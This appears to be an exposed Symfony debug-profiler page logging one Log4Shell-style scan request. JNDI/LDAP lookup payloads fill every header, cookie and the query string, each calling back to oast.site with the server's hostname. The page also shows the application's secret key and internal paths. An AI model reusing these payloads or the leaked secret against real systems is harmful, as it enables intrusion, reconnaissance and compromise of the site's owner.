https://138.201.39.205/?x=%24%7Bjndi%3Aldap%3A%2F%2F127.0.0.1

Method
GET
HTTP Status
404
IP
194.165.16.11
Profiled on
Token
5e82cb

n/a

Request

GET Parameters

Key Value
x 
"${jndi:ldap://127.0.0.1"

POST Parameters

No POST parameters

Uploaded Files

No files were uploaded

Request Attributes

No attributes

Request Headers

Header Value
accept 
"${jndi:ldap://127.0.0.1#.${hostName}.accept.d3qe7gf49vd8v4f7qkog8dec5ajhes1gg.oast.site}"
accept-encoding 
"${jndi:ldap://127.0.0.1#.${hostName}.acceptencoding.d3qe7gf49vd8v4f7qkogwa55h6ww31hbs.oast.site}"
accept-language 
"${jndi:ldap://127.0.0.1#.${hostName}.acceptlanguage.d3qe7gf49vd8v4f7qkogpc3ce7juj6ohm.oast.site}"
access-control-request-headers 
"${jndi:ldap://127.0.0.1#.${hostName}.accesscontrolrequestheaders.d3qe7gf49vd8v4f7qkogur3a6bg747qay.oast.site}"
access-control-request-method 
"${jndi:ldap://127.0.0.1#.${hostName}.accesscontrolrequestmethod.d3qe7gf49vd8v4f7qkogcg58qz7iyrxon.oast.site}"
authentication 
"Bearer ${jndi:ldap://127.0.0.1#.${hostName}.authenticationbearer.d3qe7gf49vd8v4f7qkog5p3bsmoq3y7og.oast.site}"
connection 
"close"
content-length 
""
content-type 
""
cookie 
"${jndi:ldap://127.0.0.1#.${hostName}.cookiename.d3qe7gf49vd8v4f7qkogmtiw31hybcusz.oast.site}=${jndi:ldap://${hostName}.cookievalue.d3qe7gf49vd8v4f7qkogureehb6n7mnn4.oast.site}"
host 
"138.201.39.205"
location 
"${jndi:ldap://127.0.0.1#.${hostName}.location.d3qe7gf49vd8v4f7qkogbzj31uedtqggh.oast.site}"
origin 
"${jndi:ldap://127.0.0.1#.${hostName}.origin.d3qe7gf49vd8v4f7qkogt4x7itra1f4ci.oast.site}"
referer 
"${jndi:ldap://127.0.0.1#.${hostName}.referer.d3qe7gf49vd8v4f7qkogu6u5sjdyx97js.oast.site}"
upgrade-insecure-requests 
"${jndi:ldap://127.0.0.1#.${hostName}.upgradeinsecurerequests.d3qe7gf49vd8v4f7qkogsbu3ubnxe5fra.oast.site}"
user-agent 
"${jndi:ldap://127.0.0.1#.${hostName}.useragent.d3qe7gf49vd8v4f7qkogsm35d6t1o493t.oast.site}"
x-api-version 
"${jndi:ldap://127.0.0.1#.${hostName}.xapiversion.d3qe7gf49vd8v4f7qkogbg5itjybc7q8q.oast.site}"
x-csrf-token 
"${jndi:ldap://127.0.0.1#.${hostName}.xcsrftoken.d3qe7gf49vd8v4f7qkog13jdkapuwkun1.oast.site}"
x-druid-comment 
"${jndi:ldap://127.0.0.1#.${hostName}.xdruidcomment.d3qe7gf49vd8v4f7qkogf45ykn9w3sekf.oast.site}"
x-forwarded-for 
"${jndi:ldap://127.0.0.1#.${hostName}.xforwardedfor.d3qe7gf49vd8v4f7qkogwwiaufnfjhgja.oast.site}"
x-origin 
"${jndi:ldap://127.0.0.1#.${hostName}.xorigin.d3qe7gf49vd8v4f7qkog994udp5yqd1b7.oast.site}"
x-php-ob-level 
"1"

Request Content

Request content not available (it was retrieved as a resource).

Response

Response Headers

Header Value
cache-control 
"no-cache, private"
content-type 
"text/html; charset=UTF-8"
date 
"Sat, 25 Oct 2025 23:31:54 GMT"
x-debug-token 
"5e82cb"

Cookies

Request Cookies

Key Value
${jndi:ldap://127_0_0_1#_${hostName}_cookiename_d3qe7gf49vd8v4f7qkogmtiw31hybcusz_oast_site} 
"${jndi:ldap://${hostName}.cookievalue.d3qe7gf49vd8v4f7qkogureehb6n7mnn4.oast.site}"

Response Cookies

No response cookies

Session

Session Metadata

No session metadata

Session Attributes

No session attributes

Flashes

Flashes

No flash messages were created.

Server Parameters

Server Parameters

Defined in .env

Key Value
APP_ENV 
"dev"
APP_SECRET 
"5db00d896d6f940e327a1bb88e9d581c"

Defined as regular env variables

Key Value
APP_DEBUG 
"1"
CONTENT_LENGTH 
""
CONTENT_TYPE 
""
DOCUMENT_ROOT 
"/home/kulahcioglu/efinans/public"
DOCUMENT_URI 
"/index.php"
FCGI_ROLE 
"RESPONDER"
GATEWAY_INTERFACE 
"CGI/1.1"
HOME 
"/var/www"
HTTPS 
"on"
HTTP_ACCEPT 
"${jndi:ldap://127.0.0.1#.${hostName}.accept.d3qe7gf49vd8v4f7qkog8dec5ajhes1gg.oast.site}"
HTTP_ACCEPT_ENCODING 
"${jndi:ldap://127.0.0.1#.${hostName}.acceptencoding.d3qe7gf49vd8v4f7qkogwa55h6ww31hbs.oast.site}"
HTTP_ACCEPT_LANGUAGE 
"${jndi:ldap://127.0.0.1#.${hostName}.acceptlanguage.d3qe7gf49vd8v4f7qkogpc3ce7juj6ohm.oast.site}"
HTTP_ACCESS_CONTROL_REQUEST_HEADERS 
"${jndi:ldap://127.0.0.1#.${hostName}.accesscontrolrequestheaders.d3qe7gf49vd8v4f7qkogur3a6bg747qay.oast.site}"
HTTP_ACCESS_CONTROL_REQUEST_METHOD 
"${jndi:ldap://127.0.0.1#.${hostName}.accesscontrolrequestmethod.d3qe7gf49vd8v4f7qkogcg58qz7iyrxon.oast.site}"
HTTP_AUTHENTICATION 
"Bearer ${jndi:ldap://127.0.0.1#.${hostName}.authenticationbearer.d3qe7gf49vd8v4f7qkog5p3bsmoq3y7og.oast.site}"
HTTP_CONNECTION 
"close"
HTTP_COOKIE 
"${jndi:ldap://127.0.0.1#.${hostName}.cookiename.d3qe7gf49vd8v4f7qkogmtiw31hybcusz.oast.site}=${jndi:ldap://${hostName}.cookievalue.d3qe7gf49vd8v4f7qkogureehb6n7mnn4.oast.site}"
HTTP_HOST 
"138.201.39.205"
HTTP_LOCATION 
"${jndi:ldap://127.0.0.1#.${hostName}.location.d3qe7gf49vd8v4f7qkogbzj31uedtqggh.oast.site}"
HTTP_ORIGIN 
"${jndi:ldap://127.0.0.1#.${hostName}.origin.d3qe7gf49vd8v4f7qkogt4x7itra1f4ci.oast.site}"
HTTP_REFERER 
"${jndi:ldap://127.0.0.1#.${hostName}.referer.d3qe7gf49vd8v4f7qkogu6u5sjdyx97js.oast.site}"
HTTP_UPGRADE_INSECURE_REQUESTS 
"${jndi:ldap://127.0.0.1#.${hostName}.upgradeinsecurerequests.d3qe7gf49vd8v4f7qkogsbu3ubnxe5fra.oast.site}"
HTTP_USER_AGENT 
"${jndi:ldap://127.0.0.1#.${hostName}.useragent.d3qe7gf49vd8v4f7qkogsm35d6t1o493t.oast.site}"
HTTP_X_API_VERSION 
"${jndi:ldap://127.0.0.1#.${hostName}.xapiversion.d3qe7gf49vd8v4f7qkogbg5itjybc7q8q.oast.site}"
HTTP_X_CSRF_TOKEN 
"${jndi:ldap://127.0.0.1#.${hostName}.xcsrftoken.d3qe7gf49vd8v4f7qkog13jdkapuwkun1.oast.site}"
HTTP_X_DRUID_COMMENT 
"${jndi:ldap://127.0.0.1#.${hostName}.xdruidcomment.d3qe7gf49vd8v4f7qkogf45ykn9w3sekf.oast.site}"
HTTP_X_FORWARDED_FOR 
"${jndi:ldap://127.0.0.1#.${hostName}.xforwardedfor.d3qe7gf49vd8v4f7qkogwwiaufnfjhgja.oast.site}"
HTTP_X_ORIGIN 
"${jndi:ldap://127.0.0.1#.${hostName}.xorigin.d3qe7gf49vd8v4f7qkog994udp5yqd1b7.oast.site}"
PHP_SELF 
"/index.php"
QUERY_STRING 
"x=${jndi:ldap://127.0.0.1"
REDIRECT_STATUS 
"200"
REMOTE_ADDR 
"194.165.16.11"
REMOTE_PORT 
"58674"
REQUEST_METHOD 
"GET"
REQUEST_SCHEME 
"https"
REQUEST_TIME 
1761435114
REQUEST_TIME_FLOAT 
1761435114.7568
REQUEST_URI 
"/?x=${jndi:ldap://127.0.0.1"
SCRIPT_FILENAME 
"/home/kulahcioglu/efinans/public/index.php"
SCRIPT_NAME 
"/index.php"
SERVER_ADDR 
"138.201.39.205"
SERVER_NAME 
"efinans.kulahcioglu.com"
SERVER_PORT 
"443"
SERVER_PROTOCOL 
"HTTP/1.1"
SERVER_SOFTWARE 
"nginx/1.14.0"
SYMFONY_DOTENV_VARS 
"APP_ENV,APP_SECRET"
USER 
"www-data"